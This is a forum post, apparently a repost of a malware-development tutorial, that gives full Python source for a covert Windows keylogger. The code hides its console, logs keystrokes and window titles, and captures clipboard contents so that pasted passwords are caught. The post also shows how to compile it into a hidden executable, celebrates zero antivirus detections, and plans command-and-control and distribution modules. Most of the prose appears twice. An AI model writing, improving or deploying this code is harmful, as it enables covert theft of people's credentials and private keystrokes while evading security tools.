OP 16 October, 2023 - 01:49 PM
ILL DO PART 2 WHEN EVERYTHING OKAY.
[align=start]I recently was sifting through a bunch of Humble Bundle, which like many, I had acquired in the past but never read and saw Black Hat Python. Curious to see what this was all about, I started looking some of the examples and identified issues that really annoyed me.[/align]
[align=start]It’s worth noting that popular red team techniques such as dumping credentials from LSASS are almost completely useless with modern EDR (Endpoint Detection and Response) solutions as this is what they are looking for.[/align]
[align=start]Which is why going back to basics and have a little bit of patience is all you need and is the most efficient. Everything is done here with standard user privileges, in the user’s context.[/align]
[align=start]So why Python?
- Easy to learn and good for good for people new to programming
- Less commonly used and less chances to get flagged by AVs
- Can be executed in multiple ways.
- Can interface with C functions and the Windows API with ctypes or pywin32[/align]
[align=start]But there are a few shortcomings:
- Slow and low performance compared to pure C because the code interpreted during execution
- Large executables (but it’s 2019 so bandwith shouldn’t be an issue)
- Can’t do real multi-threading due to GIL (we’ll get into that later in the series)[/align]
[align=start]The tutorial will be divided in multiple parts. In each part, we will build a different module that will provide a specific set of features to our malware,including a module to use Github as C2 (always better to hide in plain sight). Then we’ll look at different ways to run, compile and distribute the malware. The code will be available in the https://github.com/tr4cefl0w/0x00sec [color=var(--primary-medium)]1.1k[/color] repository.[/align]
[align=start]It’s worth mentioning that I didn’t add a lot of exception handling or did much testing due to lack of time, but it’s good enough (and like Joel Salatin says, good enough is perfect) for an introduction. Also, I’m not a Python expert and haven’t touched the WinAPI a lot in the past decade so feel free to point out any mistake or improvements that could be done.[/align]
[align=start]This part focuses on keylogging, the second part will likely be capturing or dumping credentials, although there’s some of this in that first part with the clipboard.[/align]
[align=start]That keylogger currently has 0 detections on VirusTotal but it doesn’t do much other than logging. It’s not sending the data or doing anything else. [/align]
Building a keylogger
[align=start]Calling functions is easy, but figuring out the algorithm is often the painful part.[/align]
[align=start]First and foremost, we want to determine the actions that will need to be performed. What’s the point of logging what’s typed if you can’t contextualize it?[/align]
[align=start]We need to know:
- What the current program is?
- When and what keys are pressed?
- How to deal with special keys and how we can use them?
- When to capture the clipboard?[/align]
[align=start]To do so, we need to find a way to access multiple Windows API functions. Code from Black Hat Python and similar books mostly pyWin32 and pyHook. But, pyHook is only (officialy) available for Python 2.7 and still has a lot of old bugs that have yet to be fixed. For the keylogger, I figured it’d be better to use ctypes from the standard library as it would show some basics on how to use it to call Windows API functions.[/align]
[align=start]In future parts we’ll likely just use PyWin32 for the simplicity and great documentation.[/align]
[align=start]Let’s start.[/align]
[align=start]Create a folder for the project and a sub-folder called modules. In the modules folder, create the file [/align]
then open it in your text editor.
[align=start]We first import the required standard libraries. Then, we have to import the Windows DLLs that provide the functions we’ll need. In this case, we’ll need [/align]
and
. Finally, we want to avoid showing the console window on the desktop which would raise suspicions.
get_current_window() function
[align=start]We have to build a function to get the current window title so we know in what program the user is typing.[/align]
[align=start]Now we can use this function to get the current window title and later use it in the keylogging function.[/align]
get_clipboard() function
[align=start]The second function is to capture the content of the clipboard. It is a bit tricky to set up but it shows how to use pointers with ctypes.[/align]
[align=start]Now we have the function to capture the clipboard content. Of course this could be done in fewer lines of code with PyWin32 but I figured it would be good to do something using only the standard library and show some basic usage of ctypes.[/align]
get_keystrokes() function
[align=start]Now, the keylogging function. That function, when called, requires two argument. The directory where the log file will be stored and the file name. Then, we configure the logger that will write the log file on disk. Finally, we set up the WinAPI function and variables we need, such as a dictionary for the special keys pressed such as , , and so on.[/align]
[align=start]The keylogging algorithm is set to run indefinitely using a [/align]
loop. The reason is that we don’t want the keylogging to stop unless it is told to do so. This means that if we want to do other tasks meanwhile, we need to run it in parallel with other functions either in a thread or separate process. This will be challenging and we’ll cover this later in the series when attempting to do real parallelism (which is not the same as concurrency by the way). We’ll also introduce some modifications to use a timer to stop/start the keylogger as an alternative to parallelism.
[align=start]That’s it! A side note on capturing the clipboard data. We trigger the function when the user’s presses ‘c’ or ‘v’ because we want to log when a password is copied for a password manager and in case the user right-clicks to paste instead of using the keyboard shortcut. However, this might repeatedly log the clipboard content in the log file. We could call EmptyClipboard() after but that could raise suspicions. If you think of a better way, feel free to share![/align]
[align=start]Now we assemble everything to make the keylogger module.[/align]
[align=start]To run the keylogger, we need to create the main program file that will import the module and execute the keylogger. In the root of your project directory, create a [/align]
file and add the following:
[align=start]You can modify the [/align]
and
to set the folder and file name of your choice. You can then run it as a Python script with
or build a standalone executable with PyInstaller like the one uploaded on Virus Total. To do so, install PyInstaller with
then run
.
[align=start]The executable will be located in the [/align]
folder. If you run it through Window Explorer, you’ll see that no console window appears.
[align=start]I created a dummy account in Bitwarden (my password manager) and attempted to log in Office 365 just to show the password being pasted with the clipboard when ‘v’ is hit. Here’s the content of the log file.[/align]
[align=start]Looking at the task manager, you can see it running:[/align]
[align=start]Look at that CPU usage! As pointed out by @DTM in comments, this is mostly caused by the fact that we’re using GetAsyncKeyState() instead of SetWindowsHookExA() and he is right.[/align]
[align=start]However, after testing a simple example of Python keylogger using SetWindowsHookExA(), it triggered 4 AVs detections
[/align]
To investigate! I’ll attempt to find a way to use SetWindowsHookExA() without triggering any detection and update the code and the article if I succeed. If any of you can do it, please share in comment
[align=start]I recently was sifting through a bunch of Humble Bundle, which like many, I had acquired in the past but never read and saw Black Hat Python. Curious to see what this was all about, I started looking some of the examples and identified issues that really annoyed me.[/align]
- It’s written for Python 2.7. Python 3 has been out for years.
- It uses multiple packages that are now deprecated or extremely buggy, such as pyHook.
- It lacks a lot of neat tricks that one could do simply with standard user privileges.
[align=start]It’s worth noting that popular red team techniques such as dumping credentials from LSASS are almost completely useless with modern EDR (Endpoint Detection and Response) solutions as this is what they are looking for.[/align]
[align=start]Which is why going back to basics and have a little bit of patience is all you need and is the most efficient. Everything is done here with standard user privileges, in the user’s context.[/align]
[align=start]So why Python?
- Easy to learn and good for good for people new to programming
- Less commonly used and less chances to get flagged by AVs
- Can be executed in multiple ways.
- Can interface with C functions and the Windows API with ctypes or pywin32[/align]
[align=start]But there are a few shortcomings:
- Slow and low performance compared to pure C because the code interpreted during execution
- Large executables (but it’s 2019 so bandwith shouldn’t be an issue)
- Can’t do real multi-threading due to GIL (we’ll get into that later in the series)[/align]
[align=start]The tutorial will be divided in multiple parts. In each part, we will build a different module that will provide a specific set of features to our malware,including a module to use Github as C2 (always better to hide in plain sight). Then we’ll look at different ways to run, compile and distribute the malware. The code will be available in the https://github.com/tr4cefl0w/0x00sec [color=var(--primary-medium)]1.1k[/color] repository.[/align]
[align=start]It’s worth mentioning that I didn’t add a lot of exception handling or did much testing due to lack of time, but it’s good enough (and like Joel Salatin says, good enough is perfect) for an introduction. Also, I’m not a Python expert and haven’t touched the WinAPI a lot in the past decade so feel free to point out any mistake or improvements that could be done.[/align]
[align=start]This part focuses on keylogging, the second part will likely be capturing or dumping credentials, although there’s some of this in that first part with the clipboard.[/align]
[align=start]That keylogger currently has 0 detections on VirusTotal but it doesn’t do much other than logging. It’s not sending the data or doing anything else. [/align]
Building a keylogger
[align=start]Calling functions is easy, but figuring out the algorithm is often the painful part.[/align]
[align=start]First and foremost, we want to determine the actions that will need to be performed. What’s the point of logging what’s typed if you can’t contextualize it?[/align]
[align=start]We need to know:
- What the current program is?
- When and what keys are pressed?
- How to deal with special keys and how we can use them?
- When to capture the clipboard?[/align]
[align=start]To do so, we need to find a way to access multiple Windows API functions. Code from Black Hat Python and similar books mostly pyWin32 and pyHook. But, pyHook is only (officialy) available for Python 2.7 and still has a lot of old bugs that have yet to be fixed. For the keylogger, I figured it’d be better to use ctypes from the standard library as it would show some basics on how to use it to call Windows API functions.[/align]
[align=start]In future parts we’ll likely just use PyWin32 for the simplicity and great documentation.[/align]
[align=start]Let’s start.[/align]
[align=start]Create a folder for the project and a sub-folder called modules. In the modules folder, create the file [/align]
Code:
keylogger.py
[align=start]We first import the required standard libraries. Then, we have to import the Windows DLLs that provide the functions we’ll need. In this case, we’ll need [/align]
Code:
kernel32.dll
Code:
user32.dll
Code:
import ctypes [color=var(--hljs-comment)]# For interfacing with C functions[/color] import logging [color=var(--hljs-comment)]# For logging the keystrokes on disk[/color] kernel32 = ctypes.windll.kernel32 [color=var(--hljs-comment)]# Access functions from kernel32.dll[/color] user32 = ctypes.windll.user32 [color=var(--hljs-comment)]# Access functions from user32.dll[/color] user32.ShowWindow(kernel32.GetConsoleWindow(), 0) [color=var(--hljs-comment)]# Hide console[/color]
[align=start]We have to build a function to get the current window title so we know in what program the user is typing.[/align]
Code:
def get_current_window(): [color=var(--hljs-comment)]# Function to grab the current window and its title[/color] [color=var(--hljs-comment)]# Required WinAPI functions[/color] GetForegroundWindow = user32.GetForegroundWindow GetWindowTextLength = user32.GetWindowTextLengthW GetWindowText = user32.GetWindowTextW hwnd = GetForegroundWindow() [color=var(--hljs-comment)]# Get handle to foreground window[/color] [color=var(--primary-very-high)]length[/color] = GetWindowTextLength(hwnd) [color=var(--hljs-comment)]# Get length of the window text in title bar, passing the handle as argument[/color] buff = ctypes.create_unicode_buffer([color=var(--primary-very-high)]length[/color] + [color=var(--hljs-number)]1[/color]) [color=var(--hljs-comment)]# Create buffer to store the window title string[/color] GetWindowText(hwnd, buff, [color=var(--primary-very-high)]length[/color] + [color=var(--hljs-number)]1[/color]) [color=var(--hljs-comment)]# Get window title and store in buff[/color] [color=var(--primary-very-high)]return[/color] buff.value [color=var(--hljs-comment)]# Return the value of buff[/color]
get_clipboard() function
[align=start]The second function is to capture the content of the clipboard. It is a bit tricky to set up but it shows how to use pointers with ctypes.[/align]
Code:
[color=var(--primary-very-high)]def[/color] [color=var(--hljs-string)]get_clipboard[/color](): CF_TEXT = [color=var(--hljs-number)]1[/color] [color=var(--hljs-comment)]# Set clipboard format[/color] [color=var(--hljs-comment)]# Argument and return types for GlobalLock/GlobalUnlock.[/color] kernel32.GlobalLock.argtypes = [ctypes.c_void_p] kernel32.GlobalLock.restype = ctypes.c_void_p kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p] [color=var(--hljs-comment)]# Return type for GetClipboardData[/color] user32.GetClipboardData.restype = ctypes.c_void_p user32.OpenClipboard([color=var(--hljs-number)]0[/color]) [color=var(--hljs-comment)]# Required clipboard functions[/color] IsClipboardFormatAvailable = user32.IsClipboardFormatAvailable GetClipboardData = user32.GetClipboardData CloseClipboard = user32.CloseClipboard [color=var(--primary-very-high)]try[/color]: [color=var(--primary-very-high)]if[/color] IsClipboardFormatAvailable(CF_TEXT): [color=var(--hljs-comment)]# If CF_TEXT is available[/color] data = GetClipboardData(CF_TEXT) [color=var(--hljs-comment)]# Get handle to data in clipboard[/color] data_locked = kernel32.GlobalLock(data) [color=var(--hljs-comment)]# Get pointer to memory location where the data is located[/color] text = ctypes.c_char_p(data_locked) [color=var(--hljs-comment)]# Get a char * pointer (string in Python) to the location of data_locked[/color] value = text.value [color=var(--hljs-comment)]# Dump the content in value[/color] kernel32.GlobalUnlock(data_locked) [color=var(--hljs-comment)]# Decrement de lock count[/color] [color=var(--primary-very-high)]return[/color] value.decode([color=var(--hljs-string)]'utf-8'[/color]) [color=var(--hljs-comment)]# Return the clipboard content[/color] [color=var(--primary-very-high)]finally[/color]: CloseClipboard() [color=var(--hljs-comment)]# Close the clipboard[/color]
get_keystrokes() function
[align=start]Now, the keylogging function. That function, when called, requires two argument. The directory where the log file will be stored and the file name. Then, we configure the logger that will write the log file on disk. Finally, we set up the WinAPI function and variables we need, such as a dictionary for the special keys pressed such as , , and so on.[/align]
[align=start]The keylogging algorithm is set to run indefinitely using a [/align]
Code:
while
Code:
[color=var(--primary-very-high)]def[/color] [color=var(--hljs-string)]get_keystrokes[/color](log_dir, log_name): [color=var(--hljs-comment)]# Function to monitor and log keystrokes[/color] [color=var(--hljs-comment)]# Logger[/color] logging.basicConfig(filename=(log_dir +[color=var(--hljs-string)]"\\"[/color] + log_name), level=logging.DEBUG, [color=var(--hljs-builtin-name)]format[/color]=[color=var(--hljs-string)]'%(message)s'[/color]) GetAsyncKeyState = user32.GetAsyncKeyState [color=var(--hljs-comment)]# WinAPI function that determines whether a key is up or down[/color] special_keys = {[color=var(--hljs-number)]0x08[/color]: [color=var(--hljs-string)]'BS'[/color], [color=var(--hljs-number)]0x09[/color]: [color=var(--hljs-string)]'Tab'[/color], [color=var(--hljs-number)]0x10[/color]: [color=var(--hljs-string)]'Shift'[/color], [color=var(--hljs-number)]0x11[/color]: [color=var(--hljs-string)]'Ctrl'[/color], [color=var(--hljs-number)]0x12[/color]: [color=var(--hljs-string)]'Alt'[/color], [color=var(--hljs-number)]0x14[/color]: [color=var(--hljs-string)]'CapsLock'[/color], [color=var(--hljs-number)]0x1b[/color]: [color=var(--hljs-string)]'Esc'[/color], [color=var(--hljs-number)]0x20[/color]: [color=var(--hljs-string)]'Space'[/color], [color=var(--hljs-number)]0x2e[/color]: [color=var(--hljs-string)]'Del'[/color]} current_window = None line = [] [color=var(--hljs-comment)]# Stores the characters pressed[/color] [color=var(--primary-very-high)]while[/color] True: [color=var(--primary-very-high)]if[/color] current_window != get_current_window(): [color=var(--hljs-comment)]# If the content of current_window isn't the currently opened window[/color] current_window = get_current_window() [color=var(--hljs-comment)]# Put the window title in current_window[/color] logging.info([color=var(--hljs-builtin-name)]str[/color](current_window).encode([color=var(--hljs-string)]'utf-8'[/color])) [color=var(--hljs-comment)]# Write the current window title in the log file[/color] [color=var(--primary-very-high)]for[/color] i [color=var(--primary-very-high)]in[/color] [color=var(--hljs-builtin-name)]range[/color]([color=var(--hljs-number)]1[/color], [color=var(--hljs-number)]256[/color]): [color=var(--hljs-comment)]# Because there are 256 ASCII characters (even though we only really use 128)[/color] [color=var(--primary-very-high)]if[/color] GetAsyncKeyState(i) & [color=var(--hljs-number)]1[/color]: [color=var(--hljs-comment)]# If a key is pressed and matches an ASCII character[/color] [color=var(--primary-very-high)]if[/color] i [color=var(--primary-very-high)]in[/color] special_keys: [color=var(--hljs-comment)]# If special key, log as such[/color] logging.info([color=var(--hljs-string)]"<{}>"[/color].[color=var(--hljs-builtin-name)]format[/color](special_keys[i])) [color=var(--primary-very-high)]elif[/color] i == [color=var(--hljs-number)]0x0d[/color]: [color=var(--hljs-comment)]# If <ENTER>, log the line typed then clear the line variable[/color] logging.info(line) line.clear() [color=var(--primary-very-high)]elif[/color] i == [color=var(--hljs-number)]0x63[/color] [color=var(--primary-very-high)]or[/color] i == [color=var(--hljs-number)]0x43[/color] [color=var(--primary-very-high)]or[/color] i == [color=var(--hljs-number)]0x56[/color] [color=var(--primary-very-high)]or[/color] i == [color=var(--hljs-number)]0x76[/color]: [color=var(--hljs-comment)]# If characters 'c' or 'v' are pressed, get clipboard data[/color] clipboard_data = get_clipboard() logging.info([color=var(--hljs-string)]"[CLIPBOARD] {}"[/color].[color=var(--hljs-builtin-name)]format[/color](clipboard_data)) [color=var(--primary-very-high)]elif[/color] [color=var(--hljs-number)]0x30[/color] <= i <= [color=var(--hljs-number)]0x5a[/color]: [color=var(--hljs-comment)]# If alphanumeric character, append to line[/color] line.append([color=var(--hljs-builtin-name)]chr[/color](i))
[align=start]Now we assemble everything to make the keylogger module.[/align]
Code:
[color=var(--primary-very-high)]import[/color] ctypes [color=var(--primary-very-high)]import[/color] logging [color=var(--hljs-comment)]# Required librairies[/color] kernel32 = ctypes.windll.kernel32 user32 = ctypes.windll.user32 [color=var(--hljs-comment)]# Hide console[/color] user32.ShowWindow(kernel32.GetConsoleWindow(), [color=var(--hljs-number)]0[/color]) [color=var(--primary-very-high)]def[/color] [color=var(--hljs-string)]get_current_window[/color](): [color=var(--hljs-comment)]# Function to grab the current window and its title[/color] GetForegroundWindow = user32.GetForegroundWindow GetWindowTextLength = user32.GetWindowTextLengthW GetWindowText = user32.GetWindowTextW hwnd = GetForegroundWindow() [color=var(--hljs-comment)]# Get handle to foreground window[/color] length = GetWindowTextLength(hwnd) [color=var(--hljs-comment)]# Get length of the window text in title bar[/color] buff = ctypes.create_unicode_buffer(length + [color=var(--hljs-number)]1[/color]) [color=var(--hljs-comment)]# Create buffer to store the window title string[/color] GetWindowText(hwnd, buff, length + [color=var(--hljs-number)]1[/color]) [color=var(--hljs-comment)]# Get window title and store in buff[/color] [color=var(--primary-very-high)]return[/color] buff.value [color=var(--hljs-comment)]# Return the value of buff[/color] [color=var(--primary-very-high)]def[/color] [color=var(--hljs-string)]get_clipboard[/color](): CF_TEXT = [color=var(--hljs-number)]1[/color] [color=var(--hljs-comment)]# Set clipboard format[/color] [color=var(--hljs-comment)]# Argument and return types for GlobalLock/GlobalUnlock.[/color] kernel32.GlobalLock.argtypes = [ctypes.c_void_p] kernel32.GlobalLock.restype = ctypes.c_void_p kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p] [color=var(--hljs-comment)]# Return type for GetClipboardData[/color] user32.GetClipboardData.restype = ctypes.c_void_p user32.OpenClipboard([color=var(--hljs-number)]0[/color]) [color=var(--hljs-comment)]# Required clipboard functions[/color] IsClipboardFormatAvailable = user32.IsClipboardFormatAvailable GetClipboardData = user32.GetClipboardData CloseClipboard = user32.CloseClipboard [color=var(--primary-very-high)]try[/color]: [color=var(--primary-very-high)]if[/color] IsClipboardFormatAvailable(CF_TEXT): [color=var(--hljs-comment)]# If CF_TEXT is available[/color] data = GetClipboardData(CF_TEXT) [color=var(--hljs-comment)]# Get handle to data in clipboard[/color] data_locked = kernel32.GlobalLock(data) [color=var(--hljs-comment)]# Get pointer to memory location where the data is located[/color] text = ctypes.c_char_p(data_locked) [color=var(--hljs-comment)]# Get a char * pointer (string in Python) to the location of data_locked[/color] value = text.value [color=var(--hljs-comment)]# Dump the content in value[/color] kernel32.GlobalUnlock(data_locked) [color=var(--hljs-comment)]# Decrement de lock count[/color] [color=var(--primary-very-high)]return[/color] value.decode([color=var(--hljs-string)]'utf-8'[/color]) [color=var(--hljs-comment)]# Return the clipboard content[/color] [color=var(--primary-very-high)]finally[/color]: CloseClipboard() [color=var(--hljs-comment)]# Close the clipboard[/color] [color=var(--primary-very-high)]def[/color] [color=var(--hljs-string)]get_keystrokes[/color](log_dir, log_name): [color=var(--hljs-comment)]# Function to monitor and log keystrokes[/color] [color=var(--hljs-comment)]# Logger[/color] logging.basicConfig(filename=(log_dir +[color=var(--hljs-string)]"\\"[/color] + log_name), level=logging.DEBUG, [color=var(--hljs-builtin-name)]format[/color]=[color=var(--hljs-string)]'%(message)s'[/color]) GetAsyncKeyState = user32.GetAsyncKeyState [color=var(--hljs-comment)]# WinAPI function that determines whether a key is up or down[/color] special_keys = {[color=var(--hljs-number)]0x08[/color]: [color=var(--hljs-string)]'BS'[/color], [color=var(--hljs-number)]0x09[/color]: [color=var(--hljs-string)]'Tab'[/color], [color=var(--hljs-number)]0x10[/color]: [color=var(--hljs-string)]'Shift'[/color], [color=var(--hljs-number)]0x11[/color]: [color=var(--hljs-string)]'Ctrl'[/color], [color=var(--hljs-number)]0x12[/color]: [color=var(--hljs-string)]'Alt'[/color], [color=var(--hljs-number)]0x14[/color]: [color=var(--hljs-string)]'CapsLock'[/color], [color=var(--hljs-number)]0x1b[/color]: [color=var(--hljs-string)]'Esc'[/color], [color=var(--hljs-number)]0x20[/color]: [color=var(--hljs-string)]'Space'[/color], [color=var(--hljs-number)]0x2e[/color]: [color=var(--hljs-string)]'Del'[/color]} current_window = None line = [] [color=var(--hljs-comment)]# Stores the characters pressed[/color] [color=var(--primary-very-high)]while[/color] True: [color=var(--primary-very-high)]if[/color] current_window != get_current_window(): [color=var(--hljs-comment)]# If the content of current_window isn't the currently opened window[/color] current_window = get_current_window() [color=var(--hljs-comment)]# Put the window title in current_window[/color] logging.info([color=var(--hljs-builtin-name)]str[/color](current_window).encode([color=var(--hljs-string)]'utf-8'[/color])) [color=var(--hljs-comment)]# Write the current window title in the log file[/color] [color=var(--primary-very-high)]for[/color] i [color=var(--primary-very-high)]in[/color] [color=var(--hljs-builtin-name)]range[/color]([color=var(--hljs-number)]1[/color], [color=var(--hljs-number)]256[/color]): [color=var(--hljs-comment)]# Because there are 256 ASCII characters (even though we only really use 128)[/color] [color=var(--primary-very-high)]if[/color] GetAsyncKeyState(i) & [color=var(--hljs-number)]1[/color]: [color=var(--hljs-comment)]# If a key is pressed and matches an ASCII character[/color] [color=var(--primary-very-high)]if[/color] i [color=var(--primary-very-high)]in[/color] special_keys: [color=var(--hljs-comment)]# If special key, log as such[/color] logging.info([color=var(--hljs-string)]"<{}>"[/color].[color=var(--hljs-builtin-name)]format[/color](special_keys[i])) [color=var(--primary-very-high)]elif[/color] i == [color=var(--hljs-number)]0x0d[/color]: [color=var(--hljs-comment)]# If <ENTER>, log the line typed then clear the line variable[/color] logging.info(line) line.clear() [color=var(--primary-very-high)]elif[/color] i == [color=var(--hljs-number)]0x63[/color] [color=var(--primary-very-high)]or[/color] i == [color=var(--hljs-number)]0x43[/color] [color=var(--primary-very-high)]or[/color] i == [color=var(--hljs-number)]0x56[/color] [color=var(--primary-very-high)]or[/color] i == [color=var(--hljs-number)]0x76[/color]: [color=var(--hljs-comment)]# If characters 'c' or 'C' are pressed, get clipboard data[/color] clipboard_data = get_clipboard() logging.info([color=var(--hljs-string)]"[CLIPBOARD] {}"[/color].[color=var(--hljs-builtin-name)]format[/color](clipboard_data)) [color=var(--primary-very-high)]elif[/color] [color=var(--hljs-number)]0x30[/color] <= i <= [color=var(--hljs-number)]0x5a[/color]: [color=var(--hljs-comment)]# If alphanumeric character, append to line[/color] line.append([color=var(--hljs-builtin-name)]chr[/color](i))
Code:
main.py
Code:
[color=var(--primary-very-high)]import[/color] os from modules [color=var(--primary-very-high)]import[/color] keylogger [color=var(--hljs-attribute)]log_dir[/color] = os.environ[[color=var(--hljs-string)]'localappdata'[/color]] log_name = [color=var(--hljs-string)]'applog.txt'[/color] keylogger.get_keystrokes(log_dir, log_name)
Code:
log_dir
Code:
log_name
Code:
python main.py
Code:
pip install pyinstaller
Code:
pyinstaller --onefile main.py -w
[align=start]The executable will be located in the [/align]
Code:
dist
[align=start]I created a dummy account in Bitwarden (my password manager) and attempted to log in Office 365 just to show the password being pasted with the clipboard when ‘v’ is hit. Here’s the content of the log file.[/align]
Code:
b[color=var(--hljs-comment)]'Bitwarden'[/color] b[color=var(--hljs-comment)]'Sign in to your Microsoft account - Firefox Developer Edition (Private Browsing)'[/color] <Ctrl> [CLIPBOARD] p1zz4
[align=start]Look at that CPU usage! As pointed out by @DTM in comments, this is mostly caused by the fact that we’re using GetAsyncKeyState() instead of SetWindowsHookExA() and he is right.[/align]
[align=start]However, after testing a simple example of Python keylogger using SetWindowsHookExA(), it triggered 4 AVs detections
[/align]
To investigate! I’ll attempt to find a way to use SetWindowsHookExA() without triggering any detection and update the code and the article if I succeed. If any of you can do it, please share in comment